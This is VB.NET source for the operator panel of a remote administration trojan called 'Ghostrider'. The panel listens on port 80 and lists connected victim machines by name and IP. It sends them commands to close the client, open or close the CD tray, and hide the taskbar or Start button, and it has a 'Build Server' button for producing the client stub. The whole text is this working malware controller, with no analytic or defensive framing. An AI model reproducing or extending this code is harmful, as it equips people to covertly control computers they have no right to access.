Code:
Imports System.Text
Imports System.Threading
Imports System.Net.NetworkInformation
Imports System.Net
Imports System.Net.Sockets
Imports System.Media
Imports System.IO
Imports System.Runtime.Serialization
Imports System.Runtime.Serialization.Formatters.Binary
Public Class Form1
Public WithEvents S As New SocketServer
Public Yy As String = " "
Private close_cd As Object
Private open_cd As Object
Public Property Country As Object
Public Property CD_OPEN As Object
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Control.CheckForIllegalCrossThreadCalls = False
S.Start(80)
End Sub
#Region "Server Events"
Sub Disconnect(ByVal sock As Integer) Handles S.DisConnected
Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
Try
L1.Items(sock.ToString).Remove()
Catch ex As Exception
End Try
End Sub
Sub Connected(ByVal sock As Integer) Handles S.Connected
Me.Text = "Ghostrider ,Onlines{x}".Replace("x", S.Online.Count)
S.Send(sock, "~") ' i ask him to send me PC name
End Sub
Delegate Sub _Data(ByVal sock As Integer, ByVal B As Byte())
Sub Data(ByVal sock As Integer, ByVal B As Byte()) Handles S.Data
Dim T As String = BS(B)
Dim A As String() = Split(T, Yy)
Try
Select Case A(0)
Case "~" ' Client Sent me PC name
Dim L = L1.Items.Add(sock.ToString, A(1), 0)
L.SubItems.Add(S.IP(sock))
L.ToolTipText = sock
End Select
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
#End Region
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
If Button1.Text = "Build Server" Then
Button1.Text = ""
ElseIf Button1.Text = "" Then
Button1.Text = "Build Server"
End If
End Sub
Private Sub CloseRatToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseRatToolStripMenuItem.Click
Application.Exit()
End
End Sub
Private Sub CloseClientToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseClientToolStripMenuItem.Click
For Each x As ListViewItem In L1.SelectedItems
S.Send(x.ToolTipText, "close")
Next
End Sub
Private Sub AboutToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles AboutToolStripMenuItem.Click
MsgBox("Codet and Designed by Cleopatra")
End Sub
Private Sub CDOPENToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDOPENToolStripMenuItem.Click
S.SendData("+")
End Sub
Private Sub CDCLOSEToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CDCLOSEToolStripMenuItem.Click
S.SendData("-")
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
build.Show()
End Sub
Private Sub HIDETASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDETASKBARToolStripMenuItem.Click
S.SendData("hide_taskbar")
End Sub
Private Sub SHOWTASKBARToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWTASKBARToolStripMenuItem.Click
S.SendData("show_taskbar")
End Sub
Private Sub HIDESTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles HIDESTARTToolStripMenuItem.Click
S.SendData("hide_start")
End Sub
Private Sub SHOWSTARTToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles SHOWSTARTToolStripMenuItem.Click
S.SendData("show_start")
End Sub
End Class